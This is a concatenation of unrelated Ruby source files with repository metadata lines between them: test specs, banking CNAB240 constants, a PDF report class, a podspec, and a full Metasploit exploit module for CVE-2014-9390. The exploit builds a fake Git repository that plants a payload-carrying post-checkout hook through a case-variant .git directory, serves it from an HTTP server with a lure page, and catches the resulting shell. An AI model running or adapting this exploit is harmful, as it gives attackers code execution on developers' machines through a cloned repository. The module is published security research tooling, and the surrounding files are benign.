"user" => task.user ? task.user.username : "admin"
}
end
end
end
end | 26.727273 | 60 | 0.561224 |
4a0abccfa0277d912b17dec76b82071ac566ca02 | 3,115 | describe Spotlight::SolrController, type: :controller do
routes { Spotlight::Engine.routes }
let(:exhibit) { FactoryBot.create(:exhibit) }
describe 'when user does not have access' do
before { sign_in FactoryBot.create(:exhibit_visitor) }
describe 'POST update' do
it 'does not allow update' do
post :update, params: { exhibit_id: exhibit }
expect(response).to redirect_to main_app.root_path
end
end
end
describe 'when user is an admin' do
let(:admin) { FactoryBot.create(:site_admin) }
let(:role) { admin.roles.first }
let(:connection) { instance_double(RSolr::Client) }
let(:repository) { instance_double(Blacklight::Solr::Repository, connection: connection) }
before { sign_in admin }
before do
allow(controller).to receive(:repository).and_return(repository)
end
describe 'POST update' do
it 'passes through the request data' do
doc = {}
expect(connection).to receive(:update) do |params|
doc = JSON.parse(params[:data], symbolize_names: true)
end
post_update_with_json_body(exhibit, a: 1)
expect(response).to be_successful
expect(doc.first).to include a: 1
end
context 'when the index is not writable' do
before do
allow(Spotlight::Engine.config).to receive_messages(writable_index: false)
end
it 'raises an error' do
post_update_with_json_body(exhibit, a: 1)
expect(response.code).to eq '409'
end
end
it 'enriches the request with exhibit solr data' do
doc = {}
expect(connection).to receive(:update) do |params|
doc = JSON.parse(params[:data], symbolize_names: true)
end
post_update_with_json_body(exhibit, a: 1)
expect(response).to be_successful
expect(doc.first).to include exhibit.solr_data
end
it 'enriches the request with sidecar data' do
doc = {}
expect(connection).to receive(:update) do |params|
doc = JSON.parse(params[:data], symbolize_names: true)
end
allow_any_instance_of(SolrDocument).to receive(:to_solr).and_return(b: 1)
post_update_with_json_body(exhibit, a: 1)
expect(response).to be_successful
expect(doc.first).to include b: 1
end
context 'with a file upload' do
let(:json) { fixture_file_upload(File.expand_path(File.join('..', 'spec', 'fixtures', 'json-upload-fixture.json'), Rails.root), 'application/json') }
it 'parses the uploaded file' do
doc = {}
expect(connection).to receive(:update) do |params|
doc = JSON.parse(params[:data], symbolize_names: true)
end
post :update, params: { resources_json_upload: { json: json }, exhibit_id: exhibit }
expect(response).to be_successful
expect(doc.first).to include a: 1
end
end
end
end
def post_update_with_json_body(exhibit, hash)
post :update, body: hash.to_json, params: { exhibit_id: exhibit }, as: :json
end
end
| 31.785714 | 157 | 0.638523 |
03224b2d65e23265d57bb75b56e00d9d2811d668 | 3,407 | module Cnab240
ESTRUTURA_V80 = {
:segmentos_implementados => [:a],
:pagamento => {
:header => Cnab240::V80::Pagamentos::Header,
:trailer => Cnab240::V80::Pagamentos::Trailer,
:segmentos => [:a],
:a => {
:remessa => true,
:retorno => true
}
}
}
ESTRUTURA_V40 = {
:segmentos_implementados => [:a],
:pagamento => {
:header => Cnab240::V40::Pagamentos::Header,
:trailer => Cnab240::V40::Pagamentos::Trailer,
:segmentos => [:a],
:a => {
:remessa => true,
:retorno => true
}
}
}
ESTRUTURA_V86 = {
:segmentos_implementados => [:a, :b, :c, :j, :j52, :o, :n, :w, :z],
:pagamento => {
:header => Cnab240::V86::Pagamentos::Header,
:trailer => Cnab240::V86::Pagamentos::Trailer,
:segmentos => [:a, :b, :c],
:a => {
:remessa => true,
:retorno => true
},
:b => {
:remessa => true,
:retorno => true
},
:c => {
:remessa => false,
:retorno => false
}
},
:pagamento_titulo_cobranca => {
:header => Cnab240::V86::PagamentosTitulos::Header,
:trailer => Cnab240::V86::PagamentosTitulos::Trailer,
:segmentos => [:j, :j52],
:j => {
:remessa => true,
:retorno => true
},
:j52 => {
:remessa => false,
:retorno => false
}
},
:pagamento_titulo_tributos => {
:header => Cnab240::V86::PagamentosTributos::Header,
:trailer => Cnab240::V86::PagamentosTributos::Trailer,
:segmentos => [:o, :n, :w, :z],
:o => {
:remessa => true,
:retorno => true
},
:n => {
:remessa => true,
:retorno => true
},
:w => {
:remessa => false,
:retorno => false
},
:z => {
:remessa => false,
:retorno => false
}
}
}
ESTRUTURA_V87 = {
:segmentos_implementados => [:a, :b, :c, :j, :j52, :o, :n, :w, :z],
:pagamento => {
:header => Cnab240::V87::Pagamentos::Header,
:trailer => Cnab240::V87::Pagamentos::Trailer,
:segmentos => [:a, :b, :c],
:a => {
:remessa => true,
:retorno => true
},
:b => {
:remessa => true,
:retorno => true
},
:c => {
:remessa => false,
:retorno => false
}
},
:pagamento_titulo_cobranca => {
:header => Cnab240::V87::PagamentosTitulos::Header,
:trailer => Cnab240::V87::PagamentosTitulos::Trailer,
:segmentos => [:j, :j52],
:j => {
:remessa => true,
:retorno => true
},
:j52 => {
:remessa => false,
:retorno => false
}
},
:pagamento_titulo_tributos => {
:header => Cnab240::V87::PagamentosTributos::Header,
:trailer => Cnab240::V87::PagamentosTributos::Trailer,
:segmentos => [:o, :n, :w, :z],
:o => {
:remessa => true,
:retorno => true
},
:n => {
:remessa => true,
:retorno => true
},
:w => {
:remessa => false,
:retorno => false
},
:z => {
:remessa => false,
:retorno => false
}
}
}
ESTRUTURA = {
'V40' => ESTRUTURA_V40,
'V80' => ESTRUTURA_V80,
'V86' => ESTRUTURA_V86,
'V87' => ESTRUTURA_V87
}
end | 21.030864 | 71 | 0.457 |
33bda0d26ab58bcd18e0495c363b8b4d53d42c76 | 15,106 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(
info,
'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390',
'Description' => %q(
This module exploits CVE-2014-9390, which affects Git (versions less
than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions
less than 3.2.3) and describes three vulnerabilities.
On operating systems which have case-insensitive file systems, like
Windows and OS X, Git clients can be convinced to retrieve and
overwrite sensitive configuration files in the .git
directory which can allow arbitrary code execution if a vulnerable
client can be convinced to perform certain actions (for example,
a checkout) against a malicious Git repository.
A second vulnerability with similar characteristics also exists in both
Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where
certain Unicode codepoints are ignorable.
The third vulnerability with similar characteristics only affects
Mercurial clients on Windows, where Windows "short names"
(MS-DOS-compatible 8.3 format) are supported.
Today this module only truly supports the first vulnerability (Git
clients on case-insensitive file systems) but has the functionality to
support the remaining two with a little work.
),
'License' => MSF_LICENSE,
'Author' => [
'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module
],
'References' =>
[
['CVE', '2014-9390'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'],
['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'],
['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'],
['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'],
['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'],
['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'],
['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'],
['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a']
],
'DisclosureDate' => 'Dec 18 2014',
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic bash-tcp perl bash'
}
}
}
],
[
'Windows Powershell',
{
'Platform' => [ 'windows' ],
'Arch' => [ARCH_X86, ARCH_X86_64]
}
]
],
'DefaultTarget' => 0))
register_options(
[
OptBool.new('GIT', [true, 'Exploit Git clients', true])
]
)
register_advanced_options(
[
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']),
OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']),
OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']),
OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false])
]
)
end
def setup
# the exploit requires that we act enough like a real Mercurial HTTP instance,
# so we keep a mapping of all of the files and the corresponding data we'll
# send back along with a trigger file that signifies that the git/mercurial
# client has fetched the malicious content.
@repo_data = {
git: { files: {}, trigger: nil },
mercurial: { files: {}, trigger: nil }
}
unless datastore['GIT'] || datastore['MERCURIAL']
fail_with(Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')
end
setup_git
setup_mercurial
super
end
def setup_git
return unless datastore['GIT']
# URI must start with a /
unless git_uri && git_uri =~ /^\//
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
end
# sanity check the malicious hook:
if datastore['GIT_HOOK'].blank?
fail_with(Failure::BadConfig, 'GIT_HOOK must not be blank')
end
# In .git/hooks/ directory, specially named files are shell scripts that
# are executed when particular events occur. For example, if
# .git/hooks/post-checkout was an executable shell script, a git client
# would execute that file every time anything is checked out. There are
# various other files that can be used to achieve similar goals but related
# to committing, updating, etc.
#
# This vulnerability allows a specially crafted file to bypass Git's
# blacklist and overwrite the sensitive .git/hooks/ files which can allow
# arbitrary code execution if a vulnerable Git client can be convinced to
# interact with a malicious Git repository.
#
# This builds a fake git repository using the knowledge from:
#
# http://schacon.github.io/gitbook/7_how_git_stores_objects.html
# http://schacon.github.io/gitbook/7_browsing_git_objects.html
case target.name
when 'Automatic'
full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
when 'Windows Powershell'
psh = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
encode_final_payload: true)
full_cmd = "#!/bin/sh\n#{psh}"
end
sha1, content = build_object('blob', full_cmd)
trigger = "/objects/#{get_path(sha1)}"
@repo_data[:git][:trigger] = trigger
@repo_data[:git][:files][trigger] = content
# build tree that points to the blob
sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build a tree that points to the hooks directory in which the hook lives, called hooks
sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build a tree that points to the partially uppercased .git directory in
# which hooks live
variants = []
%w(g G). each do |g|
%w(i I).each do |i|
%w(t T).each do |t|
git = g + i + t
variants << git unless git.chars.none? { |c| c == c.upcase }
end
end
end
git_dir = '.' + variants.sample
sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build the supposed commit that dropped this file, which has a random user/company
email = Rex::Text.rand_mail_address
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
full_name = "#{first.capitalize} #{last.capitalize}"
tstamp = Time.now.to_i
author_time = rand(tstamp)
commit_time = rand(author_time)
tz_off = rand(10)
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
"\n" \
"Initial commit to open git repository for #{company}!\n"
if datastore['VERBOSE']
vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
commit.each_line { |l| vprint_status(l.strip) }
end
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build HEAD
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
# lastly, build refs
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
end
def setup_mercurial
return unless datastore['MERCURIAL']
# URI must start with a /
unless mercurial_uri && mercurial_uri =~ /^\//
fail_with(Failure::BadConfig, 'MERCURIAL_URI must start with a /')
end
# sanity check the malicious hook
if datastore['MERCURIAL_HOOK'].blank?
fail_with(Failure::BadConfig, 'MERCURIAL_HOOK must not be blank')
end
# we fake the Mercurial HTTP protocol such that we are compliant as possible but
# also as simple as possible so that we don't have to support all of the protocol
# complexities. Taken from:
# http://mercurial.selenic.com/wiki/HttpCommandProtocol
# http://selenic.com/hg/file/tip/mercurial/wireproto.py
@repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
@repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
# TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
@repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
# TODO: finish building the fake repository
end
# Build's a Git object
def build_object(type, content)
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
header = "#{type} #{content.size}\0"
store = header + content
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
end
# Returns the Git object path name that a file with the provided SHA1 will reside in
def get_path(sha1)
sha1[0...2] + '/' + sha1[2..40]
end
def exploit
super
end
def primer
# add the git and mercurial URIs as necessary
if datastore['GIT']
hardcoded_uripath(git_uri)
print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
end
if datastore['MERCURIAL']
hardcoded_uripath(mercurial_uri)
print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}")
end
end
# handles routing any request to the mock git, mercurial or simple HTML as necessary
def on_request_uri(cli, req)
# if the URI is one of our repositories and the user-agent is that of git/mercurial
# send back the appropriate data, otherwise just show the HTML version
if (user_agent = req.headers['User-Agent'])
if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
do_git(cli, req)
return
elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)
do_mercurial(cli, req)
return
end
end
do_html(cli, req)
end
# simulates a Git HTTP server
def do_git(cli, req)
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
if @repo_data[:git][:files].key?(req_file)
vprint_status("Sending Git #{req_file}")
send_response(cli, @repo_data[:git][:files][req_file])
if req_file == @repo_data[:git][:trigger]
vprint_status("Trigger!")
# Do we need this? If so, how can I update the payload which is in a file which
# has already been built?
# regenerate_payload
handler(cli)
end
else
vprint_status("Git #{req_file} doesn't exist")
send_not_found(cli)
end
end
# simulates an HTTP server with simple HTML content that lists the fake
# repositories available for cloning
def do_html(cli, _req)
resp = create_response
resp.body = <<HTML
<html>
<head><title>Public Repositories</title></head>
<body>
<p>Here are our public repositories:</p>
<ul>
HTML
if datastore['GIT']
this_git_uri = URI.parse(get_uri).merge(git_uri)
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
else
resp.body << "<li><a>Git</a> (currently offline)</li>"
end
if datastore['MERCURIAL']
this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)
resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>"
else
resp.body << "<li><a>Mercurial</a> (currently offline)</li>"
end
resp.body << <<HTML
</ul>
</body>
</html>
HTML
cli.send_response(resp)
end
# simulates a Mercurial HTTP server
def do_mercurial(cli, req)
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
uri = URI.parse(req.uri)
req_path = uri.path
req_path += "?#{uri.query}" if uri.query
req_path.gsub!(/^#{mercurial_uri}/, '')
if @repo_data[:mercurial][:files].key?(req_path)
vprint_status("Sending Mercurial #{req_path}")
send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')
if req_path == @repo_data[:mercurial][:trigger]
vprint_status("Trigger!")
# Do we need this? If so, how can I update the payload which is in a file which
# has already been built?
# regenerate_payload
handler(cli)
end
else
vprint_status("Mercurial #{req_path} doesn't exist")
send_not_found(cli)
end
end
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
def git_uri
return @git_uri if @git_uri
if datastore['GIT_URI'].blank?
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
else
@git_uri = datastore['GIT_URI']
end
end
# Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI
def mercurial_uri
return @mercurial_uri if @mercurial_uri
if datastore['MERCURIAL_URI'].blank?
@mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase
else
@mercurial_uri = datastore['MERCURIAL_URI']
end
end
end
| 39.85752 | 152 | 0.618761 |
bb6382ac1d34a2c0bac3b64cfa4e65a6afdfdf23 | 1,459 | require 'rails_helper'
describe 'Groups Associated Permissions', reset_provider: true do
context 'when creating a new group with an associated collection permission' do
before do
login
group_id = create_group['concept_id']
# collection permissions should show as associated permission on the group page
# only if the group has Search or Search and Order permissions
add_associated_permissions_to_group(group_id: group_id, name: 'Test Permission 1', permissions: [ 'read' ])
add_associated_permissions_to_group(group_id: group_id, name: 'Test Permission 2', permissions: [ 'read', 'order' ])
add_associated_permissions_to_group(group_id: group_id, name: 'Test Permission 3', permissions: [])
add_associated_permissions_to_group(group_id: group_id, name: 'Test Permission 4', permissions: [ 'create', 'update', 'delete'])
add_associated_permissions_to_group(group_id: group_id, name: 'Test Permission 5', permissions: [ 'order' ])
visit group_path(group_id)
end
it 'displays the associated permissions' do
expect(page).to have_content 'Associated Permissions Test Permission'
expect(page).to have_content 'Test Permission 1'
expect(page).to have_content 'Test Permission 2'
expect(page).to have_content 'Test Permission 5'
expect(page).to have_no_content 'Test Permission 3'
expect(page).to have_no_content 'Test Permission 4'
end
end
end
| 45.59375 | 134 | 0.73475 |
0397ae551a8d767e50a10cacf738f9fc1b8fe8c3 | 241 | module TicketEvolution
module Modules
module RetrieveQueuedOrder
def retrieve_queued_orders(&handler)
handler ||= method(:collection_handler)
request(:GET, "/queued_orders", &handler)
end
end
end
end
| 20.083333 | 49 | 0.680498 |
ac2375217f3f3f04a98be349deafb8ad93fa5fcc | 2,617 | # encoding: utf-8
require 'spec_helper'
require_relative '../../../app/helpers/modal_helper'
include ActionView::Helpers
include ActionView::Context
include ModalHelper
describe ModalHelper, :type => :helper do
header_with_close = { :show_close => true, :dismiss => 'modal', :title => 'Modal header' }
header_without_close = { :show_close => false, :title => 'Modal header' }
options = { :id => "modal",
:header => header_with_close,
:body => { content: 'This is the body' },
:footer => { content: content_tag(:button, 'Save', :class => 'btn') }
}
it 'returns a complete modal' do
expect(modal_dialog(options).gsub(/\n/, "")).to eql BASIC_MODAL.gsub(/\n/, "")
end
it 'returns a modal header with a close button if show_close is true' do
expect(modal_header(header_with_close).gsub(/\n/, "")).to eql MODAL_HEADER_WITH_CLOSE.gsub(/\n/, "")
end
it 'renders a modal header without a close button' do
expect(modal_header(header_without_close).gsub(/\n/, "")).to eql MODAL_HEADER_WITHOUT_CLOSE.gsub(/\n/, "")
end
it 'renders a close button' do
expect(close_button('modal')).to eql "<button class=\"close\" data-dismiss=\"modal\" aria-hidden=\"true\">×</button>"
end
it 'renders a modal toggle button' do
expect(modal_toggle('Save', :href => "#modal").gsub(/\n/, "")).to eql MODAL_TOGGLE.gsub(/\n/, "")
end
it 'renders a cancel button' do
expect(modal_cancel_button("Cancel", :data => {:dismiss => 'modal'}, :href => "#modal").gsub(/\n/, "")).to eql MODAL_CANCEL_BUTTON.gsub(/\n/, "")
end
end
BASIC_MODAL = <<-HTML
<div class=\"bootstrap-modal modal fade\" id=\"modal\"><div class=\"modal-dialog \"><div class=\"modal-content\"><div class=\"modal-header\"><button class=\"close\" data-dismiss=\"modal\" aria-hidden=\"true\">×</button><h4 class=\"modal-title\">Modal header</h4></div><div class=\"modal-body\">This is the body</div><div class=\"modal-footer\"><button class="btn">Save</button></div></div></div></div>
HTML
MODAL_HEADER_WITHOUT_CLOSE = <<-HTML
<div class="modal-header"><h4 class=\"modal-title\">Modal header</h4></div>
HTML
MODAL_HEADER_WITH_CLOSE = <<-HTML
<div class="modal-header"><button class="close" data-dismiss="modal" aria-hidden=\"true\">×</button><h4 class=\"modal-title\">Modal header</h4></div>
HTML
MODAL_TOGGLE = <<-HTML
<a class="btn btn-default" data-toggle="modal" href="#modal">Save</a>
HTML
MODAL_CANCEL_BUTTON = <<-HTML
<a class="btn bootstrap-modal-cancel-button" data-dismiss="modal" href="#modal">Cancel</a>
HTML
| 41.539683 | 407 | 0.655713 |
b92707b984eaa02f74abc5aff7c8ee5a6f799e7d | 522 | module CukeSalad
module Codify
module ConstName
def ConstName.from sentence
joined_together capitalised( words_from sentence )
end
private
def ConstName.joined_together words
words.join
end
def ConstName.words_from this_sentence
on_word_boundary = /\s|([A-Z][a-z]+)/
this_sentence.split( on_word_boundary )
end
def ConstName.capitalised words
words.collect{ | word | word.capitalize }
end
end
end
end
| 21.75 | 58 | 0.626437 |
1afe0fbaf8ab91f52988eb8dcc768e72b602d52e | 477 | require 'spec_helper'
describe SecureAttachment::Cipher do
let(:cipher) { SecureAttachment::Cipher }
let(:test_text_path) { File.expand_path('./spec/files/test.txt') }
let(:text_data) { File.open(test_text_path).read }
context 'self' do
describe 'decrypt_file' do
it 'takes a simple text file and turns it into a encrypted data file' do
pending 'WIP'
data = cipher.encrypt(text_data)
expect(data).to eq ''
end
end
end
end
| 28.058824 | 78 | 0.67086 |
2120685fda5e48507225cf7ee355d415c691e470 | 1,755 | class SalesReportPdf < Prawn::Document
def initialize(pos_invoice_line_items)
super({top_margin: 25, left_margin: 20, right_margin: 15, bottom_margin: 20})
text GlobalSettings.organisation_name, size: 15, style: :bold, align: :center
move_down 10
text "Total Sales", size: 15, align: :center
move_down 5
generated_date
stroke_horizontal_rule
@pos_invoice_line_items = pos_invoice_line_items
line_items
end
def generated_date
move_down 10
text "Generated at: #{ Time.zone.now.to_formatted_s(:long) }", size: 12
end
def line_items
move_down 10
table line_item_rows do
row(0).font_style = :bold
columns(0).align = :center
columns(0).width = 70
columns(1).align = :left
columns(1).width = 290
columns(2..3).align = :center
columns(2..3).width = 70
column(4).align = :right
columns(4).width = 80
row(0).align = :center
# self.row_colors = ["DDDDDD", "FFFFFF"]
self.width = 580
# column_widths = [ 0 => 80, 1 => 80, 2 => 80, 3 => 80 ]
self.cell_style = { size: 12, padding_left: 20, padding_right: 20 }
self.header = true
end
end
def line_item_rows
result = Array.new
a = {}
@pos_invoice_line_items.find_each.map { |x| a.keys.include?(x.product_id) ? a[x.product_id] -= x.quantity : a[x.product_id] = -x.quantity } # Pos invoice quantity is stored as negative
a = a.sort_by { |k| k }.to_h
a.keys.each do |key|
product = Product.find(key)
result += [[product.sku, product.name, product.language_code, a[key], '']]
end
result = result.sort_by { |x| [x[2].present? ? x[2] : '', x[3]] }
result.unshift(['SKU', "Product", "Lang", "Qty", "Iss.Qty"])
end
end
| 33.113208 | 188 | 0.62963 |
39184389ef698d03d4a18f6b836a7cffdbc01178 | 422 | Deface::Override.new(
virtual_path: 'spree/layouts/admin',
name: 'uploads_main_menu_tabs',
insert_bottom: '#main-sidebar',
text: <<-HTML
<% if can?(:display, Spree::Upload) %>
<ul class="nav nav-sidebar">
<%= tab 'Uploads', url: admin_uploads_path, icon: 'cloud-upload' %>
</ul>
<% end %>
HTML
)
| 32.461538 | 87 | 0.478673 |
d5f85dc9a64de29039136e72cc133c7b4e1dfa70 | 223 | class CreateUsers < ActiveRecord::Migration[5.0]
def change
create_table :users do |t|
t.string :email
t.string :password_digest
t.boolean :is_admin
t.timestamps null: false
end
end
end
| 18.583333 | 48 | 0.659193 |
1c6240c94ea57feaa87d17835d6fb75141f19f78 | 2,113 | # frozen_string_literal: true
require 'spec_helper'
describe Savon do
it 'knows the message tag for :authentication' do
message_tag = message_tag_for(:authentication, :authenticate)
expect(message_tag).to eq(['http://v1_0.ws.auth.order.example.com/', 'authenticate'])
end
it 'knows the message tag for :taxcloud' do
message_tag = message_tag_for(:taxcloud, :verify_address)
expect(message_tag).to eq(['http://taxcloud.net', 'VerifyAddress'])
end
it 'knows the message tag for :team_software' do
message_tag = message_tag_for(:team_software, :login)
expect(message_tag).to eq(['http://tempuri.org/', 'Login'])
end
it 'knows the message tag for :interhome' do
message_tag = message_tag_for(:interhome, :price_list)
expect(message_tag).to eq(['http://www.interhome.com/webservice', 'PriceList'])
end
it 'knows the message tag for :betfair' do
message_tag = message_tag_for(:betfair, :get_bet)
expect(message_tag).to eq(['http://www.betfair.com/publicapi/v5/BFExchangeService/', 'getBet'])
end
it 'knows the message tag for :vies' do
message_tag = message_tag_for(:vies, :check_vat)
expect(message_tag).to eq(['urn:ec.europa.eu:taxud:vies:services:checkVat:types', 'checkVat'])
end
it 'knows the message tag for :wasmuth' do
message_tag = message_tag_for(:wasmuth, :get_st_tables)
expect(message_tag).to eq(['http://ws.online.msw/', 'getStTables'])
end
def message_tag_for(fixture, operation_name)
globals = Savon::GlobalOptions.new(:log => false)
wsdl = Wasabi::Document.new Fixture.wsdl(fixture)
operation = Savon::Operation.create(operation_name, wsdl, globals)
request_xml = operation.build.to_s
nsid, local = extract_message_tag_from_request(request_xml)
namespace = extract_namespace_from_request(nsid, request_xml)
[namespace, local]
end
def extract_message_tag_from_request(xml)
match = xml.match(/<\w+?:Body><(.+?):(.+?)>/)
[ match[1], match[2] ]
end
def extract_namespace_from_request(nsid, xml)
xml.match(/xmlns:#{nsid}="(.+?)"/)[1]
end
end
| 33.539683 | 99 | 0.703265 |
ff5983714d390ac7c29671139fc94016fe2fbf4f | 324 | require "notification_file_lookup"
module NotificationHelper
include ActionView::Helpers::TagHelper
def banner_notification
if node = Static.banner
content_tag(:section, "<div>#{node[:file]}</div>",
{ id: "banner-notification", class: node[:colour].to_s }, false)
else
''
end
end
end
| 21.6 | 72 | 0.669753 |
871aeb281c7f59fa36445fbf7a6e4e616bd1f406 | 486 | module Rplidar
# Implementation of response to the GET_HEALTH request.
class CurrentStateDataResponse < Response
def response
case raw_response[0]
when STATE_GOOD then { state: :good, error_code: error_code }
when STATE_WARNING then { state: :warning, error_code: error_code }
when STATE_ERROR then { state: :error, error_code: error_code }
end
end
def error_code
(raw_response[2] << 8) + raw_response[1]
end
end
end
| 28.588235 | 73 | 0.674897 |
1da7bc87e52a261e8c55089239f580750972e0af | 701 | #
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'pushwoosh'
s.version = '2.2.1'
s.summary = 'Pushwoosh Flutter plugin'
s.homepage = 'https://pushwoosh.com'
s.license = { :file => '../LICENSE' }
s.author = { 'Pushwoosh' => '[email protected]' }
s.source = { :path => '.' }
s.source_files = 'Classes/**/*'
s.public_header_files = 'Classes/**/*.h'
s.dependency 'Flutter'
s.static_framework = true
s.vendored_libraries = 'Library/libPushwoosh_native.a'
s.libraries = "Pushwoosh_native", 'c++', 'z'
s.ios.deployment_target = '10.0'
end | 33.380952 | 83 | 0.589158 |
b98eea765becf8203c202990c49972bacc57bbd0 | 2,294 | #-- encoding: UTF-8
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2021 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
module Bim
module BasicData
class PrioritySeeder < ::BasicData::PrioritySeeder
def data
color_names = [
'cyan-1', # low
'blue-3', # normal
'yellow-7', # high
'grape-5' # critical
]
# When selecting for an array of values, implicit order is applied
# so we need to restore values by their name.
colors_by_name = Color.where(name: color_names).index_by(&:name)
colors = color_names.collect { |name| colors_by_name[name].id }
[
{ name: I18n.t(:default_priority_low), color_id: colors[0], position: 1, is_default: true },
{ name: I18n.t(:default_priority_normal), color_id: colors[1], position: 2, is_default: false },
{ name: I18n.t(:default_priority_high), color_id: colors[2], position: 3, is_default: false },
{ name: I18n.t('seeders.bim.default_priority_critical'), color_id: colors[3], position: 4, is_default: false }
]
end
end
end
end
| 40.964286 | 123 | 0.675676 |
ed20f5618de59f67bd53f823727953f0f08afe66 | 1,151 | #
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
if defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/
File.open('Makefile', 'w'){|f| f.puts "all:\n\ninstall:\n" }
else
require 'mkmf'
